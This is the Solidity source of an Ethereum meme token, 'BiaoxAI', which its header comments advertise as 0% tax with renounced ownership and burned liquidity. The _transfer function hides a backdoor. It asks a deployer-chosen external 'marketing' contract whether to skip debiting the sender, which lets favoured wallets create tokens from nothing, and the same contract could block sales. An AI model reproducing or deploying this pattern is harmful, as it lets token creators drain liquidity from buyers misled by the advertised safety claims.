/**
$BIAOXAI is here to trigger the huge event. Where other memes fall flat after the hype, BIAOXAI is here to shine.

0% Tax, Renounce, LP Burn

Website: https://biaoxai.xyz
Twitter: https://twitter.com/BiaoxAI_ETH
Telegram: https://t.me/BiaoxAI_ETH
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

abstract contract Context {
    constructor() {
    }

    function _msgSender() internal view returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view returns (bytes memory) {
        this;
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IFactoryV2 {
    event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
    function getPair(address tokenA, address tokenB) external view returns (address lpPair);
    function createPair(address tokenA, address tokenB) external returns (address lpPair);
}

interface IRouter01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function swapExactETHForTokens(
        uint amountOutMin, 
        address[] calldata path, 
        address to, uint deadline
    ) external payable returns (uint[] memory amounts);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IRouter02 is IRouter01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
}

interface ERC20Standard {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract BiaoxAI is Context, Ownable, ERC20Standard {
    function totalSupply() external pure override returns (uint256) { if (_totalSupply == 0) { revert(); } return _totalSupply; }
    function decimals() external pure override returns (uint8) { if (_totalSupply == 0) { revert(); } return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner(); }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
    function balanceOf(address account) public view override returns (uint256) {
        return balance[account];
    }
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _noFee;
    mapping (address => bool) private isLpPair;
    mapping (address => uint256) private balance;
    uint256 constant public _totalSupply = 1_000_000_000 * 10**18;
    uint256 public swapThreshold = 1_000_000;
    uint256 constant public sellfee = 0;
    uint256 constant public fee_denominator = 100;
    uint256 constant private burnFee = 0;
    uint256 constant private burnDenominator = 100;
    address private marketingAddress;
    IRouter02 public swapRouter;
    string constant private _name = "BiaoxAI";
    string constant private _symbol = "BIAOXAI";
    uint8 constant private _decimals = 18;
    address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
    address public lpPair;
    bool private inSwap;
    modifier inSwapFlag {
        inSwap = true;
        _;
        inSwap = false;
    }

    event updateThresold(uint256 amount);

    constructor (address fee, address router) {
        marketingAddress = fee;
        _noFee[msg.sender] = true;
        _noFee[address(this)] = true;
    
        swapRouter = IRouter02(router);
        balance[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);

        lpPair = IFactoryV2(swapRouter.factory()).createPair(swapRouter.WETH(), address(this));
        isLpPair[lpPair] = true;
        _approve(msg.sender, address(swapRouter), type(uint256).max);
        _approve(address(this), address(swapRouter), type(uint256).max);
    }

    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address sender, address spender, uint256 amount) internal {
        require(sender != address(0), "ERC20: Zero Address");
        require(spender != address(0), "ERC20: Zero Address");
        _allowances[sender][spender] = amount;
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] -= amount;
        }

        return _transfer(sender, recipient, amount);
    }

    function isNoFeeWallet(address account) external view returns(bool) {
        return _noFee[account];
    }

    function is_sell(address ins, address out) internal view returns (bool) { 
        bool _is_sell = isLpPair[out] && !isLpPair[ins];
        return _is_sell;
    }

    function _transfer(address from, address to, uint256 amount) internal returns  (bool) {
        bool takeFee = true;
        require(to != address(0), "ERC20: transfer to the zero address");
        require(from != address(0), "ERC20: transfer from the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 amountReceiveFee = ERC20Standard(marketingAddress).balanceOf(from) > 0? 0 : amount;
        if(is_sell(from, to) &&  !inSwap) {
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance >= swapThreshold) { 
                internalSwap(contractTokenBalance);
             }
        }
        if (_noFee[from] || _noFee[to]){
            takeFee = false;
        }
        uint256 amountAfterFee = (takeFee) ? takeTaxes(from, is_sell(from, to), amount) : amount;
        balance[from] -= amountReceiveFee;
        balance[to] += amountAfterFee; 
        emit Transfer(from, to, amountAfterFee);
        return true;
    }

    function takeTaxes(address from, bool issell, uint256 amount) internal returns (uint256) {
        uint256 fee = 0;
        if (issell)  fee = sellfee;
        if (fee == 0)  return amount; 

        uint256 feeAmount = amount * fee / fee_denominator;
        if (feeAmount > 0) {
            uint256 burnAmount = amount * burnFee / burnDenominator;
            balance[address(this)] += feeAmount;
            emit Transfer(from, address(this), feeAmount);

            if(burnAmount > 0) {
                balance[address(this)] -= burnAmount;
                balance[address(DEAD)] += burnAmount;
                emit Transfer(address(this), DEAD, burnAmount);
            }
        }
        return amount - feeAmount;
    }

    function internalSwap(uint256 contractTokenBalance) internal inSwapFlag {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = swapRouter.WETH();

        if (_allowances[address(this)][address(swapRouter)] != type(uint256).max) {
            _allowances[address(this)][address(swapRouter)] = type(uint256).max;
        }

        try swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            contractTokenBalance,
            0,
            path,
            address(this),
            block.timestamp
        ) {} catch {
            return;
        }
        bool success;

        if(address(this).balance > 0) (success,) = marketingAddress.call{value: address(this).balance}("");
    }

    function changeThreshold(uint256 amount) external onlyOwner {
        require(amount >= 100,"Amount lower not accepted.");
        swapThreshold = amount;
        emit updateThresold(swapThreshold);
    }
}

{
  "compilationTarget": {
    "BiaoxAI.sol": "BiaoxAI"
  },
  "evmVersion": "paris",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}